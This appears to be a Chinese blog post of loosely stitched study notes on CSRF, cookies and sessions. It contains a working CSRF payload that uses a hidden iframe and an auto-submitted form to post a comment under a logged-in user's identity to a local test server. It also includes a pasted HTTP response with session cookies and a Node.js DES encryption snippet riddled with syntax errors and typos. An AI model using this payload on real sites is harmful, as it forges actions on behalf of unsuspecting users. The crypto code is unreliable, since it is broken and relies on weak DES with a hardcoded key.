首页 > IT职业 > IT图书 > CSRF,Cookie
csrf是让用户在不知情的情况,冒用其身份发起了一个请求
点击不知情链接,图片(url.src)

发送给http://localhost:1521/已登录用户,该用户打开就会中招
iframe是防止页面跳转
<script>
document.write(`
<form name="commentForm" target="csrf" method="post" action="http://localhost:1521/post/addComment">
<input name="postId" type="hidden" value="1">
<textarea name="content">来自CSRF!</textarea>
</form>`
);
var iframe = document.createElement('iframe');
iframe.name = 'csrf';
iframe.style.display = 'none';
document.body.appendChild(iframe);
setTimeout(function(){
document.querySelector('[name=commentForm]').submit();
},1000);
</script>



HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ASP.NET_SessionId=ig2fac55; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: user=t=bfabf0b1c1133a822; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Tue, 26 Aug 2008 10:51:08 GMT
Content-Length: 2838
var crypto=require("crypto');
var KEY='93jd9sj#l@9dsk5#';
var cipher=crypto.createCipher('des',KEY);
var text=cipher.update('hetto world','utf8','hex');
text +=cipher.final('hex');
console.log(text);
var decipher= crypto.createDecipher('des',KEY);
var originalrext=decipher.update(text,'hex','utf8');
originalText += decipher.final('utf8');
console.log(nriginalText);
Cookies的作用是什么?
Cookies和Session的关系?
Cookies有哪一些特性?
如何删除一个Cookie值?
本来 session 是一个抽象概念,开发者为了实现中断和继续等操作,将 user agent 和 server 之间一对一的交互,抽象为“会话”,进而衍生出“会话状态”,也就是 session 的概念。 而 cookie 是一个实际存在的东西,http 协议中定义在 header 中的字段。可以认为是 session 的一种后端无状态实现。而我们今天常说的 “session”,是为了绕开 cookie 的各种限制,通常借助 cookie 本身和后端存储实现的,一种更高级的会话状态实现。所以 cookie 和 session,你可以认为是同一层次的概念,也可以认为是不同层次的概念。具体到实现,session 因为 session id 的存在,通常要借助 cookie 实现,但这并非必要,只能说是通用性较好的一种实现方案。
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/2904/viewspace-2822474/ ,如需转载,请注明出处,否则将追究法律责任。